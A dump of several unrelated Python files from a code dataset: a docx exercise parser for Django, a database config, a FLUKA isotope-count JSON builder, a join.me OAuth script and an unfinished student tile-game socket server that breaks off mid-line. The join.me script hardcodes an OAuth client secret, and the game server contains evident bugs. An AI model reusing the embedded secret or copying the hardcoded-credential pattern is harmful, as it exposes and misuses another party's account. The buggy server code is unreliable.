possible_answers=answer[\"possible_answer\"],\n explanation_string=explanations[index],\n excersise=excersise)\n\n \n def split_sentences(self):\n self.sentences_list=self.sentences.split(\"$end\")[:-1]\n\n\n\n\nclass Parse_type_the_word(Parser): \n excersise_type=\"t\"\n \n def extract_answers_from_sentence(self,sentence):\n answer_regexp = re.compile(r\"\\$\\$\\$\\s*\\((.*?)\\)\")\n extracted_answers = answer_regexp.finditer(sentence)\n output_answers=[]\n for answer in extracted_answers:\n asnwer_str=answer.group(1)\n #print(\" '{}'\".format(asnwer_str))\n output_answers.append(self.return_answer_dict(answer=asnwer_str,possible_answer=\"*\"))\n\n return output_answers \n\nclass Parse_type_the_word_faded(Parser):\n excersise_type=\"tf\"\n \n def format_text_from_sentence(self,sentence):\n return re.sub(r\"\\(.*?\\)\\s*\\$\\$\\$\\s*\\(.*?\\)\",\"$$$\",sentence)\n \n \n def extract_answers_from_sentence(self,sentence):\n answer_regexp = re.compile(r\"\\((.*?)\\)\\$\\$\\$\\s*\\((.*?)\\)\")\n extracted_answers = answer_regexp.finditer(sentence)\n output_answers=[]\n for answer in extracted_answers:\n possible_answer=answer.group(1)\n asnwer_str=answer.group(2)\n #print(\" '{}'\".format(asnwer_str))\n output_answers.append(self.return_answer_dict(answer=asnwer_str,possible_answer=possible_answer))\n\n return output_answers \n \nclass Parse_choose_the_word(Parser): \n excersise_type=\"w\"\n\n def extract_answers_from_sentence(self,sentence):\n answer_regexp = re.compile(r\"\\$\\$\\$\\s*\\((.*?)\\)\")\n extracted_answers = answer_regexp.finditer(sentence)\n output_answers=[]\n for answer in extracted_answers:\n asnwer_str=answer.group(1)\n possible_answers=re.sub(r\"\\$\",r\"\",asnwer_str)\n asnwer_str=\"/\".join([re.sub(r\"\\$\",r\"\",ans) for ans in asnwer_str.split(\"/\") if re.search(r\"\\$\",ans)])\n #print(\" '{}' possible '{}'\".format(asnwer_str,possible_answers))\n output_answers.append(self.return_answer_dict(asnwer_str,possible_answers))\n #answer=self.create_answer(answer_string=asnwer_str,possible_answers=\"None\",excersise=excersise)\n return output_answers \n \n asnwer_str=answer.group(1)\n\n\nclass Parse_click_the_correct_option(Parse_choose_the_word):\n excersise_type=\"cco\"\n\n\nclass Parse_construct_the_sentence(Parser):\n excersise_type=\"s\"\n \n \nclass Parse_type_sentences(Parser):\n excersise_type=\"ts\"\n \n def extract_answers_from_sentence(self,sentence):\n answer_regexp = re.compile(r\"\\$\\$\\$\\s*\\((.*?)\\)\")\n extracted_answers = answer_regexp.finditer(sentence)\n output_answers=[]\n for answer in extracted_answers:\n asnwer_str=answer.group(1)\n #print(\" '{}'\".format(asnwer_str))\n output_answers.append(self.return_answer_dict(answer=asnwer_str,possible_answer=\"*\"))\n \n return output_answers \n \nclass Parse_type_sentences_inline(Parse_type_sentences): \n excersise_type=\"tsi\"\n \n def format_text_from_sentence(self,sentence): \n return re.sub(r\"\\$\\$\\$\\s*\\(.*?\\)\",\"\",sentence)\n \n \n \nclass Command(BaseCommand):\n args = '<foo bar ...>'\n help = 'our help string comes here'\n\n\n def get_text(self,filename):\n doc = docx.Document(filename)\n fullText = []\n for para in doc.paragraphs:\n fullText.append(para.text)\n return '\\n'.join(fullText)\n\n def add_arguments(self, parser):\n parser.add_argument('file_path',metavar='file_path', help='file path to parse from')\n parser.add_argument('topic',metavar='topic', help='name of the topic')\n \n def create_topic(self, topicName):\n topic = Topic(title=topicName,level=\"b\")\n topic.save()\n return topic\n \n def create_language_test(self, task, number, topic):\n language_test=LanguageTest(task=task,number=number,topic=topic)\n language_test.save()\n return language_test\n \n def create_excersise(self, exercise_type, text, language_test):\n excersise=Excersise(exercise_type=exercise_type,\n text=text,\n language_test=language_test)\n excersise.save()\n return excersise\n \n def create_answer(self, answer_string, possible_answers, excersise):\n answer=Answer(answer_string=answer_string,\n possible_answers=possible_answers,\n excersise=excersise\n )\n answer.save()\n return answer \n \n def parse(self,type,sentences,language_test):\n parser=self.Parsers[type](sentences,language_test)\n parser.save()\n \n def parse_tests_from_docx(self,filepath,topicName):\n topic = self.create_topic(topicName)\n full_text = self.get_text(filepath)\n parse_regexp = re.compile(r\"\\$task:\\s*(.*?)\\$type:\\s*(\\w+)\\s*(.*?)(?=\\$task|$)\", re.DOTALL|re.IGNORECASE)\n exercise_objs = parse_regexp.finditer(full_text)\n num=1\n for ex_obj in exercise_objs: \n task=ex_obj.group(1)\n print(task)\n type=ex_obj.group(2)\n sentences=ex_obj.group(3)\n language_test = self.create_language_test(task,num,topic) \n self.parse(type,sentences,language_test)\n print(\"-\"*100)\n self.stdout.write(\"task=<{}>\".format(task.strip()))\n self.stdout.write(\"type=<{}>\".format(type.strip()))\n self.stdout.write(\"sentences={}\".format(sentences))\n num+=1\n \n \n def handle(self, *args, **options):\n\n self.parse_tests_from_docx(options['file_path'],options['topic'])\n \n\n \n Parsers = {\n \"type_the_word\":Parse_type_the_word,\n \"type_the_word_faded\":Parse_type_the_word_faded,\n \"type_sentences\":Parse_type_sentences,\n \"type_sentences_inline\":Parse_type_sentences_inline,\n \"choose_the_word\":Parse_choose_the_word,\n \"construct_the_sentence\":Parse_construct_the_sentence,\n \"click_the_correct_option\":Parse_click_the_correct_option\n } \n ","sub_path":"EnForFun/EnForFun.2020.04.07/languageTests/management/commands/populate_db.py","file_name":"populate_db.py","file_ext":"py","file_size_in_byte":10782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"390575074","text":"import os\n\n# ignore this for now\nHEROKU_WORKERS = 1\nGUNICORN_WORKERS = 1\nGEVENT_CONNECTIONS = 100\n\nclass Production(object):\n DEBUG = False\n TESTING = False\n\n POSTGRES = {\n 'URI': os.environ.get('HEROKU_POSTGRES_CYAN_URL'),\n 'POOL_SIZE': 10,\n 'MAX_OVERFLOW': 2,\n 'POOL_TIMEOUT': 5,\n 'RECYCLE_TIME': 1200, # recycle every 20 minutes\n }\n\nclass Development(object):\n DEBUG = True\n TESTING = False\n\n POSTGRES = {\n 'URI': 'postgresql+psycopg2://localhost/unless',\n 'POOL_SIZE': 1,\n 'MAX_OVERFLOW': 0,\n 'POOL_TIMEOUT': 1,\n 'RECYCLE_TIME': -1, # never recycle\n }\n","sub_path":"unless/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"81869754","text":"import os\nimport numpy as np\nimport pandas as pd\nimport json\n\nhalf_life = {\n 'Be7':4590000,\n 'C10':19.29,\n 'C11':1220.00,\n 'O14':70.60,\n 'O15':122.24,\n 'N13':597.9,\n 'N16':7.13,\n 'triton':2.69304e8,\n 'F17':64.49,\n 'C15':2.449,\n 'F18':6586.2,\n 'N17':4.173,\n 'Be11':13.76,\n }\nhour = 3600\n\n\ndef λ(key):\n return np.log(2)/half_life[key]\n\n\ndef ij(ZA, k):\n Z = ZA[0]\n A = ZA[1]\n N = A - Z\n return (Z-1,N-Z-k-1)\n\n\nenergies = np.linspace(0.2500, 0.0700, 19)\nspread = [0.1020,0.0979,0.0913,0.0790,0.0645,0.0540]\nthickness = [1.] # cm\nactual_protons = 1e11\nbeam_time = 60 # 1 min beam time\n\nisotope_ZA = {\n \"triton\":(1,3),\n \"N13\":(7,13),\n \"F17\":(9,17),\n \"N16\":(7,16),\n \"C15\":(6,15),\n \"F18\":(9,18),\n \"N17\":(7,17),\n \"O15\":(8,15),\n \"Be11\":(4,11),\n \"C11\":(6,11),\n \"Be7\":(4,7),\n \"O14\":(8,14),\n \"C10\":(6,10),\n }\nisotopes = list(isotope_ZA.keys())\n\n\njson_list = []\nfor n, e in enumerate(energies):\n for t in thickness:\n directory = \"/{rThickness}-{bEnergy:.1f}/\".format(rThickness=round(t), bEnergy=round(1000*e,1))\n with open(os.getcwd() + directory + \"in001_fort.26\", 'r') as f:\n lines = f.readlines()\n\n k = int(lines[12].split()[7]) # set k\n events = int(lines[5].split()[5][:-1])\n numbers = []\n data = lines[14:-1]\n\n for i in range(len(data)):\n data[i] = data[i].split()\n data = np.transpose(np.array(data))\n\n for iso in isotopes:\n #numbers = float(data[ij(isotope_ZA[iso], k)])*actual_protons\n numbers.append(float(data[ij(isotope_ZA[iso], k)])*events)\n #print(numbers)\n\n\n triton = {\"halflife\" : 2.69304e8, \"lifeTime\" : 1/λ('triton'),\"number\" : numbers[0]}\n N13 = {\"halflife\" : 597.9, \"lifeTime\" : 1/λ('N13'),\"number\" : numbers[1]}\n F17 = {\"halflife\" : 64.49, \"lifeTime\" : 1/λ('F17'),\"number\" : numbers[2]}\n N16 = {\"halflife\" : 7.13, \"lifeTime\" : 1/λ('N16'),\"number\" : numbers[3]}\n C15 = {\"halflife\" : 2.449, \"lifeTime\" : 1/λ('C15'),\"number\" : numbers[4]}\n F18 = {\"halflife\" : 6586.2, \"lifeTime\" : 1/λ('F18'),\"number\" : numbers[5]}\n N17 = {\"halflife\" : 4.173, \"lifeTime\" : 1/λ('N17'),\"number\" : numbers[6]}\n O15 = {\"halflife\" : 122.24, \"lifeTime\" : 1/λ('O15'),\"number\" : numbers[7]}\n Be11 = {\"halflife\" : 13.76, \"lifeTime\" : 1/λ('Be11'),\"number\" : numbers[8]}\n C11 = {\"halflife\" : 1220.00, \"lifeTime\" : 1/λ('C11'),\"number\" : numbers[9]}\n Be7 = {\"halflife\" : 4590000, \"lifeTime\" : 1/λ('Be7'),\"number\" : numbers[10]}\n O14 = {\"halflife\" : 70.60, \"lifeTime\" : 1/λ('O14'),\"number\" : numbers[11]}\n C10 = {\"halflife\" : 19.29, \"lifeTime\" : 1/λ('C10'),\"number\" : numbers[12]}\n\n isotopes_json = {\n \"triton\":triton,\n \"N13\":N13,\n \"F17\":F17,\n \"N16\":N16,\n \"C15\":C15,\n \"F18\":F18,\n \"N17\":N17,\n \"O15\":O15,\n \"Be11\":Be11,\n \"C11\":C11,\n \"Be7\":Be7,\n \"O14\":O14,\n \"C10\":C10\n }\n\n dict = {\n 'run':n,\n 'nEvents':events,\n 'energy':e,\n 'physicsList':\"HADROTHErapy\",\n 'rangeshifterThickness':t,\n 'isotopes':isotopes_json\n }\n\n json_list.append(dict)\n\nprint(json.dumps(json_list, indent=4))\n","sub_path":"flukafiles/ActivationRangeShifter2/PRECISIO/rangeshifterjsonmaker.py","file_name":"rangeshifterjsonmaker.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"584452032","text":"import requests\nimport json\nimport socket\n\npayload = {'client_id':'fvg6qhpans4z2jryq45crb69', 'scope':'user_info scheduler start_meeting',\n'redirect_uri':'https://developer.join.me/io-docs/oauth2callback', 'state':'ABCD', 'response_type':'code'}\nr = requests.get('https://secure.join.me/api/public/v1/auth/oauth2', params=payload)\nprint(r)\nprint(r.url)\n#print('Please click the link below to log in and authorise Joinme:\\n {}'.format(r.url))\ncode1 = input('Please copy and paste the url shown in browser after clicking accept: ')\ncode1 = code1.split('=')\ncode2 = code1[1].split('&')\n\npay1 ={\n \"client_id\": \"fvg6qhpans4z2jryq45crb69\",\n \"client_secret\": \"3BsfF8wRe5\",\n \"code\": code2[0],\n \"redirect_uri\" : \"https://developer.join.me/io-docs/oauth2callback\",\n \"grant_type\": \"authorization_code\"\n }\nr1 = requests.post('https://secure.join.me/api/public/v1/auth/token', data = pay1)\n\na = json.loads(r1.text)\na = a['access_token']\ns = socket.gethostbyname(socket.gethostname())\n\nheaders = {\n 'Authorization' : 'Bearer {}'.format(a),\n 'Content-Type' : 'application/json',\n 'X-Originating-Ip' : s\n }\ndata2 = {\"startWithPersonalUrl\":'false'}\n\nr2 = requests.post('https://api.join.me/v1/meetings/start', headers = headers, data = json.dumps(data2))\nre = r2.json()#dict\nprint(\"Click this link to join the call:\\n {}\".format(re['presenterLink']))\n","sub_path":"zulip_bots/zulip_bots/bots/joinme/letmetrythisfirst.py","file_name":"letmetrythisfirst.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"320294401","text":"# CITS3002 2021 Assignment\r\n#\r\n# This file implements a basic server that allows a single client to play a\r\n# single game with no other participants, and very little error checking.\r\n#\r\n# Any other self.all_connected_clients that connect during this time will need to wait for the\r\n# first client's game to complete.\r\n#\r\n# Your task will be to write a new server that adds all connected self.all_connected_clients into\r\n# a pool of players. When enough players are available (two or more), the server\r\n# will create a game with a random sample of those players (no more than\r\n# tiles.PLAYER_LIMIT players will be in any one game). Players will take turns\r\n# in an order determined by the server, continuing until the game is finished\r\n# (there are less than two players remaining). When the game is finished, if\r\n# there are enough players available the server will start a new game with a\r\n# new selection of self.all_connected_clients.\r\n\r\n# CWV Mine 15/04/21 12:18 pm\r\n# MOST CURRENT !\r\n\r\n\r\n\r\n\r\n'''\r\nProgram Flow/Requirements\r\nFor sake of simplicity we specify the flow of a single game below.\r\n\r\n1. A selection of at most four players is chosen from all connected clients.\r\n2. A random turn order for the four players is also determined.\r\n3. Each client is notified that a new game is starting.\r\n4. Each player is provided tiles to fill their starting hand.\r\n5. While more than one player is alive:\r\n a. Notify all clients whose turn it is\r\n b. Wait for the current player to make a valid move\r\n c. Process the results of the move\r\n i. Notify all clients of new tile placements\r\n ii. Notify all clients of new token positions\r\n iii. Notify all clients of any eliminated players\r\n iv. If there are less than two players remaining, exit the loop\r\n6. If the current player played a tile, send them a new tile\r\n7. Switch to the next (remaining) player's turn\r\n\r\nWhen a game is completed, the server should start a new game if there are enough clients available.\r\nOtherwise it should wait for more clients to join.\r\n'''\r\n\r\n\r\nimport socket\r\nimport sys\r\nimport tiles\r\nimport threading\r\nimport queue\r\nimport time\r\nimport select\r\nimport message\r\nimport random\r\n\r\n# global idnum\r\n# maybe\r\n\r\n'''\r\n* When enough players are available (two or more), the server\r\nwill create a game with a random sample of those players (no more than\r\ntiles.PLAYER_LIMIT players will be in any one game).\r\n\r\n* Players will take turns in an order determined by the server,\r\ncontinuing until the game is finished (there are less than two players remaining).\r\n\r\n* When the game is finished, if there are enough players available the\r\nserver will start a new game with a new selection of clients.\r\n'''\r\n\r\nclass Client():\r\n \"\"\"This class stores one client connection, the address of the client,\r\n and a buffer of bytes that we have received from the client but not yet\r\n processed.\r\n \"\"\"\r\n def __init__(self, idnum, connection, address):\r\n self.idnum = idnum\r\n self.connection = connection\r\n self.client_address = address\r\n self.name = '{}:{}'.format(SERVER_IP, address)\r\n self.message_queues = {} # a dictionary of message queues for all in self.all_connected_clients\r\n self.buffer = bytearray()\r\n\r\n# start = -1\r\nclass Server:\r\n\r\n def __init__(self):\r\n self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.listening = [self.server_socket]\r\n self.game_started = False # game has not started by default\r\n self.turn_Queue = queue.Queue(maxsize = 4) # the queue for the players\r\n self.all_connected_clients = []\r\n\r\n self.current_players = []\r\n self.spectators = [] # the queue of spectators\r\n\r\n # self.live_id_nums = []\r\n # self.spectator_id_nums = []\r\n\r\n self.MAX_PLAYERS = 2\r\n self.MAX_SPECTATORS = 1\r\n\r\n self.game_message_history = []\r\n # self.board = tiles.Board()\r\n # live_idnums\r\n\r\n\r\n # remove a client from the server (because they have disconnected)\r\n # we need to remove them from the global client list, and also remove their\r\n # connection from our list of connections-to-listen-to\r\n def remove_client(client):\r\n # global self.all_connected_clients\r\n # global listening\r\n self.listening.remove(client.connection)\r\n self.all_connected_clients.remove(client)\r\n\r\n '''\r\n Returns the list of idnums for all clients participating in gameplay.\r\n '''\r\n def select_Players_From_Connected_Clients(self):\r\n # print(\"inside: select_Players_From_Connected_Clients\")\r\n # global self.all_connected_clients\r\n # global self.current_players\r\n\r\n live_id_nums = []\r\n\r\n # print(\"made live_id_nums in select_...\")\r\n # self.current_players = []#just in case theres anything left in there\r\n\r\n # while (len(self.current_players) < 2):\r\n while (len(self.current_players) < self.MAX_PLAYERS):\r\n # while (len(self.current_players) < tiles.IDNUM_LIMIT):\r\n player_choice = random.choice(self.all_connected_clients)\r\n if player_choice not in self.current_players:\r\n self.current_players.append(player_choice)\r\n live_id_nums.append(player_choice.idnum)\r\n if(len(self.current_players)==len(self.all_connected_clients)):\r\n # if(len(self.current_players) == tiles.PLAYER_LIMIT): # it's getting stuck in here! need 4 players!\r\n # if(len(self.current_players) == len(self.current_players)):\r\n break\r\n\r\n return live_id_nums\r\n\r\n\r\n def resetState(self):\r\n print(\"reset\")\r\n for one_client in self.all_connected_clients:\r\n #\r\n one_client.connection.send(tiles.MessageGameStart().pack())\r\n #currentConnection.send(tiles.MessageWelcome(i.idnum).pack())\r\n #currentConnection.send(tiles.MessageAddTileToHand(tileid).pack())\r\n #\r\n print(\"reset\")\r\n #return board.reset()\r\n\r\n\r\n\r\n # '''\r\n # Returns the list of idnums for all clients participating in gameplay.\r\n # '''\r\n # def select_Players_From_Connected_Clients(self):\r\n # # print(\"inside: select_Players_From_Connected_Clients\")\r\n # # global self.all_connected_clients\r\n # # global self.current_players\r\n #\r\n # # print(\"made live_id_nums in select_...\")\r\n # # self.current_players = []#just in case theres anything left in there\r\n #\r\n # # while (len(self.current_players) < 2):\r\n # while (len(self.current_players) < self.MAX_PLAYERS):\r\n # # while (len(self.current_players) < tiles.IDNUM_LIMIT):\r\n # player_choice = random.choice(self.all_connected_clients)\r\n # if player_choice not in self.current_players:\r\n # self.current_players.append(player_choice)\r\n # self.live_id_nums.append(player_choice.idnum)\r\n # if(len(self.current_players)==len(self.all_connected_clients)):\r\n # # if(len(self.current_players) == tiles.PLAYER_LIMIT): # it's getting stuck in here! need 4 players!\r\n # # if(len(self.current_players) == len(self.current_players)):\r\n # break\r\n\r\n\r\n # '''\r\n # Returns the list of idnums for all spectating clients.\r\n #\r\n # Can only be called after self.select_Players_From_Connected_Clients()\r\n # '''\r\n # def select_Spectators_From_Connected_Clients(self, live_id_nums):\r\n # # spectator_id_nums = []\r\n #\r\n # # while (len(self.current_players) < 2):\r\n # while (len(self.spectators) < self.MAX_SPECTATORS):\r\n # for C in self.all_connected_clients:\r\n # if C not in live_id_nums:\r\n # self.spectator_id_nums.append(C.idnum)\r\n #\r\n # return spectator_id_nums\r\n\r\n\r\n def threaded_start_game(self): # this goes in the thread\r\n while True:\r\n board = tiles.Board()\r\n #new players\r\n live_id_nums = self.select_Players_From_Connected_Clients()\r\n # spectator_id_nums = self.select_Spectators_From_Connected_Clients()\r\n # self.game_started == True\r\n self.start_game(board)\r\n board.reset()\r\n server.resetState()\r\n\r\n\r\n # def start_game(self):\r\n def start_game(self,board):\r\n # global game_message_history\r\n # global self.all_connected_clients\r\n # global current_players\r\n # global started\r\n # global board\r\n\r\n # have access to these\r\n # live_id_nums = self.select_Players_From_Connected_Clients()\r\n # spectator_id_nums = self.select_Spectators_From_Connected_Clients()\r\n\r\n # live_id_nums = self.select_Players_From_Connected_Clients()\r\n live_id_nums = []\r\n for i in self.current_players:\r\n live_id_nums.append(i.idnum)\r\n currentConnection = i.connection\r\n currentConnection.send(tiles.MessageWelcome(i.idnum).pack())\r\n\r\n #step 4\r\n\r\n for _ in range(tiles.HAND_SIZE):\r\n print(\"THREE\")\r\n tileid = tiles.get_random_tileid()\r\n currentConnection.send(tiles.MessageAddTileToHand(tileid).pack())\r\n\r\n for j in self.all_connected_clients:\r\n print(\"FOUR\")\r\n print(i.name)\r\n j.connection.send(tiles.MessagePlayerJoined(i.name, i.idnum).pack())\r\n\r\n # for j in self.spectators:\r\n # print(\"FOUR\")\r\n # print(i.name)\r\n # j.connection.send(tiles.MessagePlayerJoined(i.name, i.idnum).pack())\r\n\r\n # started = 1\r\n self.game_started = True\r\n #main game loop\r\n buffer = bytearray()\r\n\r\n while len(live_id_nums)>1: #step 5\r\n print(\"start\")\r\n current = self.turn_Queue.get()\r\n current_idnum = current.idnum\r\n print(current_idnum)\r\n current_connection = current.connection\r\n current_address = current.client_address\r\n for i in self.all_connected_clients:\r\n #step 5 a\r\n i.connection.send(tiles.MessagePlayerTurn(current_idnum).pack())\r\n #step 5 b\r\n chunk = current_connection.recv(4096)\r\n\r\n if not chunk:\r\n print('client {} disconnected'.format(current_address))\r\n return\r\n\r\n\r\n buffer.extend(chunk)\r\n\r\n #step 5 c\r\n msg, consumed = tiles.read_message_from_bytearray(buffer)\r\n if not consumed:\r\n break\r\n\r\n buffer = buffer[consumed:]\r\n\r\n print('received message {}'.format(msg))\r\n\r\n #step 5 c all\r\n #can probably combine\r\n if isinstance(msg, tiles.MessagePlaceTile):\r\n\r\n self.game_message_history.append(msg)\r\n\r\n if board.set_tile(msg.x, msg.y, msg.tileid, msg.rotation, msg.idnum):\r\n for i in self.all_connected_clients:\r\n i.connection.send(msg.pack())\r\n positionupdates, eliminated = board.do_player_movement(live_id_nums)\r\n\r\n for msg in positionupdates:\r\n\r\n self.game_message_history.append(msg)\r\n\r\n for i in self.all_connected_clients:\r\n i.connection.send(msg.pack())\r\n\r\n for e in eliminated:\r\n live_id_nums.remove(e)\r\n print(\"liveid len is\"+str(len(live_id_nums)))\r\n for i in self.all_connected_clients:\r\n i.connection.send(tiles.MessagePlayerEliminated(e).pack())\r\n if e == current_idnum:\r\n print(\"You lose!\")\r\n break\r\n #return # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\n# if current_idnum in eliminated:\r\n# for i in self.all_connected_clients:\r\n# i.connection.send(tiles.MessagePlayerEliminated(current_idnum).pack())\r\n# live_id_nums.remove(current_idnum)\r\n# #eliminated\r\n# print(\"You lose!\")\r\n# return\r\n\r\n tileid = tiles.get_random_tileid()\r\n current_connection.send(tiles.MessageAddTileToHand(tileid).pack())\r\n\r\n self.turn_Queue.put(current)\r\n\r\n elif isinstance(msg, tiles.MessageMoveToken):\r\n if not board.have_player_position(msg.idnum):\r\n if board.set_player_start_position(msg.idnum, msg.x, msg.y, msg.position):\r\n\r\n positionupdates, eliminated = board.do_player_movement(live_id_nums)\r\n for msg in positionupdates:\r\n for i in self.all_connected_clients:\r\n i.connection.send(msg.pack())\r\n for e in eliminated:\r\n live_id_nums.remove(e)\r\n print(\"liveid len is\"+str(len(live_id_nums)))\r\n for i in self.all_connected_clients:\r\n i.connection.send(tiles.MessagePlayerEliminated(e).pack())\r\n if e == current_idnum:\r\n print(\"You lose!\")\r\n break\r\n #return\r\n\r\n self.turn_Queue.put(current)\r\n\r\n print(\"End of start_game()\")\r\n # server.restart()\r\n self.game_started == False\r\n return\r\n\r\n # if spetators:\r\n # for i in zip(self.current_players, self.spectators):\r\n # pass\r\n # else:\r\n # pass\r\n\r\n\r\n '''\r\n # def start_game(self):\r\n def start_game(self,board):\r\n for a_client in self.all_connected_clients: # just do this ????????????????????????????????????????????\r\n if a_client.idnum in live_id_nums:\r\n # do the code as given\r\n pass\r\n else:\r\n # do the code for the spectator\r\n pass\r\n '''\r\n# THE OG !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n# def start_game(self):\r\n#\r\n# # global self.all_connected_clients\r\n# # global current_players\r\n# # global started\r\n# # global board\r\n#\r\n# # have access to these\r\n# # live_id_nums = self.select_Players_From_Connected_Clients()\r\n# # spectator_id_nums = self.select_Spectators_From_Connected_Clients()\r\n#\r\n# # live_id_nums = self.select_Players_From_Connected_Clients()\r\n# live_id_nums = []\r\n# # for i in self.current_players:\r\n# for i in self.all_connected_clients:\r\n# live_id_nums.append(i.idnum)\r\n# currentConnection = i.connection\r\n# currentConnection.send(tiles.MessageWelcome(i.idnum).pack())\r\n#\r\n# #step 4\r\n#\r\n# for _ in range(tiles.HAND_SIZE):\r\n# print(\"THREE\")\r\n# tileid = tiles.get_random_tileid()\r\n# currentConnection.send(tiles.MessageAddTileToHand(tileid).pack())\r\n#\r\n# for j in self.all_connected_clients:\r\n# print(\"FOUR\")\r\n# print(i.name)\r\n# j.connection.send(tiles.MessagePlayerJoined(i.name, i.idnum).pack())\r\n#\r\n# # for j in self.spectators:\r\n# # print(\"FOUR\")\r\n# # print(i.name)\r\n# # j.connection.send(tiles.MessagePlayerJoined(i.name, i.idnum).pack())\r\n#\r\n# # started = 1\r\n# self.game_started = True\r\n# #main game loop\r\n# buffer = bytearray()\r\n#\r\n# while len(live_id_nums)>1: #step 5\r\n# print(\"start\")\r\n# current = self.turn_Queue.get()\r\n# current_idnum = current.idnum\r\n# print(current_idnum)\r\n# current_connection = current.connection\r\n# current_address = current.client_address\r\n# for i in self.all_connected_clients:\r\n# #step 5 a\r\n# i.connection.send(tiles.MessagePlayerTurn(current_idnum).pack())\r\n# #step 5 b\r\n# chunk = current_connection.recv(4096)\r\n#\r\n# if not chunk:\r\n# print('client {} disconnected'.format(current_address))\r\n# return\r\n#\r\n#\r\n# buffer.extend(chunk)\r\n#\r\n# #step 5 c\r\n# msg, consumed = tiles.read_message_from_bytearray(buffer)\r\n# if not consumed:\r\n# break\r\n#\r\n# buffer = buffer[consumed:]\r\n#\r\n# print('received message {}'.format(msg))\r\n#\r\n# #step 5 c all\r\n# #can probably combine\r\n# if isinstance(msg, tiles.MessagePlaceTile):\r\n#\r\n# game_message_history.append(msg)\r\n#\r\n# if board.set_tile(msg.x, msg.y, msg.tileid, msg.rotation, msg.idnum):\r\n# for i in self.all_connected_clients:\r\n# i.connection.send(msg.pack())\r\n# positionupdates, eliminated = board.do_player_movement(live_id_nums)\r\n#\r\n# for msg in positionupdates:\r\n#\r\n# game_message_history.append(msg)\r\n#\r\n# for i in self.all_connected_clients:\r\n# i.connection.send(msg.pack())\r\n#\r\n# for e in eliminated:\r\n# live_id_nums.remove(e)\r\n# print(\"liveid len is\"+str(len(live_id_nums)))\r\n# for i in self.all_connected_clients:\r\n# i.connection.send(tiles.MessagePlayerEliminated(e).pack())\r\n# if e == current_idnum:\r\n# print(\"You lose!\")\r\n# break\r\n# #return # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n#\r\n# # if current_idnum in eliminated:\r\n# # for i in self.all_connected_clients:\r\n# # i.connection.send(tiles.MessagePlayerEliminated(current_idnum).pack())\r\n# # live_id_nums.remove(current_idnum)\r\n# # #eliminated\r\n# # print(\"You lose!\")\r\n# # return\r\n#\r\n# tileid = tiles.get_random_tileid()\r\n# current_connection.send(tiles.MessageAddTileToHand(tileid).pack())\r\n#\r\n# self.turn_Queue.put(current)\r\n#\r\n# elif isinstance(msg, tiles.MessageMoveToken):\r\n# if not board.have_player_position(msg.idnum):\r\n# if board.set_player_start_position(msg.idnum, msg.x, msg.y, msg.position):\r\n#\r\n# positionupdates, eliminated = board.do_player_movement(live_id_nums)\r\n# for msg in positionupdates:\r\n# for i in self.all_connected_clients:\r\n# i.connection.send(msg.pack())\r\n# for e in eliminated:\r\n# live_id_nums.remove(e)\r\n# print(\"liveid len is\"+str(len(live_id_nums)))\r\n# for i in self.all_connected_clients:\r\n# i.connection.send(tiles.MessagePlayerEliminated(e).pack())\r\n# if e == current_idnum:\r\n# print(\"You lose!\")\r\n# break\r\n# #return\r\n#\r\n# self.turn_Queue.put(current)\r\n#\r\n# print(\"End of start_game()\")\r\n# # server.restart()\r\n# self.game_started == False\r\n# return\r\n\r\n\r\n\r\n def restart(self):\r\n print(\"The game is over starting a new game in:\")\r\n now = time.time()\r\n start = 5\r\n count = 0\r\n future = now + start\r\n while time.time() < future:\r\n if time.time() > future - start +count:\r\n print(start - count)\r\n count = count + 1\r\n\r\n # while (len(self.current_players)<4):\r\n while (len(self.current_players) <= 4):\r\n choice = random.choice(self.all_connected_clients)\r\n if choice not in self.current_players:\r\n self.current_players.append(choice)\r\n\r\n # why do we have this ??????????????????????????????????????????????????????????????????????\r\n # if(len(current_players)==len(self.all_connected_clients)):\r\n # break\r\n\r\n #and not (len(self.all_connected_clients)==len(current_players)):\r\n #all_players_ids = [self.all_connected_clients]\r\n for i in self.all_connected_clients:\r\n print(i.idnum)\r\n\r\n '''\r\n Send the entire game history # fallback !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\r\n '''\r\n # def send_history_to_spectator(self, client):\r\n # currentIdnum = client.idnum\r\n # currentCon = client.connection\r\n #\r\n # currentCon.send(tiles.MessageWelcome(currentIdnum).pack())\r\n # for i in self.current_players:\r\n # currentCon.send(tiles.MessagePlayerJoined(i.name,i.idnum).pack())\r\n # currentCon.send(tiles.MessagePlayerTurn(i.idnum).pack())\r\n #\r\n # for move in self.game_message_history:\r\n # currentCon.send(move.pack())\r\n #\r\n # # board = tiles.Board()\r\n # #currentCon.connection.send(\r\n # print(len(self.game_message_history))\r\n # for move in self.game_message_history:\r\n # currentCon.send(move.pack())\r\n\r\n\r\nSERVER_IP = ''\r\nPORT_NUMBER = 30020\r\n\r\n# server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nserver = Server()\r\nserver.server_socket.bind((SERVER_IP, PORT_NUMBER))\r\n# server.server_socket.setblocking(False)\r\nserver.server_socket.listen(5)\r\n\r\n# -------------------------------------------------------------------------------------------------------------\r\n\r\nprint('listening on {}'.format(server.server_socket.getsockname()))\r\n# a list of all the connections that we want to listen to:\r\n# listening = [server.server_socket]\r\n# a list of all the self.all_connected_clients currently connected to our server\r\n# self.all_connected_clients = []\r\n# current_players = []\r\nnow = -1\r\nall_idnums_on_the_turn_queue = []\r\nall_idnums_on_the_spec_queue = []\r\n\r\nidnum = 0\r\n# game_message_history = 